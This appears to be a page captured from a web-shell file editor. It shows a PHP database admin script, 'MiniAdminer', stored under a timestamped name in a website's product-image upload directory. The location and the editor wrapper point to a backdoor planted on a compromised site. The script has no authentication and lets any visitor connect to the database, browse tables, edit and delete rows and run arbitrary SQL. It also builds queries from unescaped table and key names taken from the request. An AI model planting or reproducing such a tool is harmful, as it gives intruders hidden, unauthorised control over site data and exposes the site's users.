Editing File: /home/pixelnov/public_html/assets/front/img/products/1759679089db1.php

<?php
session_start(); // Start the session
// Fetch data from POST or from SESSION
$host = $_POST['host'] ?? ($_SESSION['host'] ?? 'localhost');
$user = $_POST['user'] ?? ($_SESSION['user'] ?? 'root');
$pass = $_POST['pass'] ?? ($_SESSION['pass'] ?? '');
$dbname = $_POST['dbname'] ?? ($_SESSION['dbname'] ?? '');
$table = $_GET['table'] ?? '';
$query = $_POST['query'] ?? '';
$connected = false;
function h($s) {
    return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}
// If new connection data is submitted → save it in the session
if (isset($_POST['host'], $_POST['user'], $_POST['dbname'])) {
    $_SESSION['host'] = $host;
    $_SESSION['user'] = $user;
    $_SESSION['pass'] = $pass;
    $_SESSION['dbname'] = $dbname;
}
// If the user clicked "Change connection" → destroy the session
if (isset($_GET['reset'])) {
    session_destroy();
    header("Location: ?");
    exit;
}
// Connection
if ($dbname) {
    $conn = @new mysqli($host, $user, $pass, $dbname);
    $connected = !$conn->connect_error;
}
// Handle deletion
if ($connected && $table && isset($_GET['delete'])) {
    $id = $conn->real_escape_string($_GET['delete']);
    $pk = $_GET['pk'] ?? ''; // Primary key column name
    if ($pk) {
        $conn->query("DELETE FROM `$table` WHERE `$pk` = '$id' LIMIT 1");
    }
    header("Location: ?table=" . urlencode($table));
    exit;
}
// Handle update
if ($connected && $table && isset($_POST['update'])) {
    $pk = $_POST['pk'];
    $id = $conn->real_escape_string($_POST['id']);
    $updates = [];
    foreach ($_POST as $k => $v) {
        if (in_array($k, ['update', 'pk', 'id'])) continue;
        $updates[] = "`$k`='" . $conn->real_escape_string($v) . "'";
    }
    if ($updates) {
        $sql = "UPDATE `$table` SET " . implode(", ", $updates) . " WHERE `$pk` = '$id' LIMIT 1";
        $conn->query($sql);
    }
    header("Location: ?table=" . urlencode($table));
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>MiniAdminer</title>
    <style>
        body {margin:0;font-family:sans-serif;display:flex;}
        nav {width:220px;background:#f3f3f3;border-right:1px solid #ccc;height:100vh;overflow-y:auto;padding:10px;}
        main {flex:1;padding:20px;}
        h2 {margin-top:0;}
        input, select, textarea, button {padding:5px;margin:5px 0;width:100%;box-sizing:border-box;}
        table {border-collapse:collapse;width:100%;margin-top:10px;}
        th, td {border:1px solid #ccc;padding:6px;text-align:left;}
        th {background:#eee;}
        .table-link {display:block;margin:2px 0;}
        form {margin:0;}
        .actions {white-space:nowrap;}
    </style>
</head>
<body>
<nav>
    <h3>MiniAdminer</h3>
    <?php if (!$connected): ?>
    <form method="post">
        <label>Host:<input name="host" value="<?= h($host) ?>"></label>
        <label>User:<input name="user" value="<?= h($user) ?>"></label>
        <label>Password:<input name="pass" type="password" value="<?= h($pass) ?>"></label>
        <label>Database:<input name="dbname" value="<?= h($dbname) ?>"></label>
        <button type="submit">Connect</button>
    </form>
    <?php else: ?>
        <div><strong><?= h($dbname) ?></strong></div>
        <a href="?reset=1">🔁 Change connection</a>
        <hr>
        <?php
        $res = $conn->query("SHOW TABLES");
        while ($row = $res->fetch_array()) {
            $t = $row[0];
            echo "<a class='table-link' href='?table=" . urlencode($t) . "'>" . h($t) . "</a>";
        }
        ?>
    <?php endif; ?>
</nav>
<main>
<?php if ($connected): ?>
    <?php if ($table): ?>
        <h2>View: <?= h($table) ?></h2>
        <?php
        // Show the edit form if edit exists
        if (isset($_GET['edit'])) {
            $id = $conn->real_escape_string($_GET['edit']);
            $pk = $_GET['pk'] ?? '';
            $res = $conn->query("SELECT * FROM `$table` WHERE `$pk`='$id' LIMIT 1");
            if ($res && $row = $res->fetch_assoc()): ?>
                <h3>✏️ Edit record</h3>
                <form method="post">
                    <input type="hidden" name="update" value="1">
                    <input type="hidden" name="pk" value="<?= h($pk) ?>">
                    <input type="hidden" name="id" value="<?= h($id) ?>">
                    <?php foreach ($row as $col => $val): ?>
                        <label><?= h($col) ?>:<input name="<?= h($col) ?>" value="<?= h($val) ?>"></label>
                    <?php endforeach; ?>
                    <button type="submit">💾 Save</button>
                </form>
            <?php endif;
        } else {
            $res = $conn->query("SELECT * FROM `$table` LIMIT 100");
            if ($res && $res->num_rows > 0) {
                $fields = $res->fetch_fields();
                $pk = $fields[0]->name; // Take the first column as primary key
                echo "<table><tr>";
                foreach ($fields as $f) echo "<th>" . h($f->name) . "</th>";
                echo "<th>Actions</th></tr>";
                while ($r = $res->fetch_assoc()) {
                    echo "<tr>";
                    foreach ($r as $val) echo "<td>" . h($val) . "</td>";
                    $id = urlencode($r[$pk]);
                    echo "<td class='actions'>
                        <a href='?table=" . urlencode($table) . "&edit=$id&pk=$pk'>✏️ Edit</a> | 
                        <a href='?table=" . urlencode($table) . "&delete=$id&pk=$pk' onclick=\"return confirm('Do you want to delete?')\">🗑️ Delete</a>
                    </td>";
                    echo "</tr>";
                }
                echo "</table>";
            } else {
                echo "<p>The table is empty or an error occurred.</p>";
            }
        }
        ?>
    <?php endif; ?>
    <h2>SQL Query</h2>
    <form method="post">
        <textarea name="query" rows="5"><?= h($query) ?></textarea>
        <button type="submit">Execute</button>
    </form>
    <?php if ($query): ?>
        <h3>Results:</h3>
        <?php
        $res = $conn->query($query);
        if ($res === TRUE) {
            echo "<p style='color:green'>Executed successfully.</p>";
        } elseif ($res instanceof mysqli_result) {
            echo "<table><tr>";
            while ($f = $res->fetch_field()) echo "<th>" . h($f->name) . "</th>";
            echo "</tr>";
            while ($r = $res->fetch_assoc()) {
                echo "<tr>";
                foreach ($r as $val) echo "<td>" . h($val) . "</td>";
                echo "</tr>";
            }
            echo "</table>";
        } else {
            echo "<p style='color:red'>" . h($conn->error) . "</p>";
        }
        ?>
    <?php endif; ?>
<?php endif; ?>
</main>
</body>
</html>

Back to Directory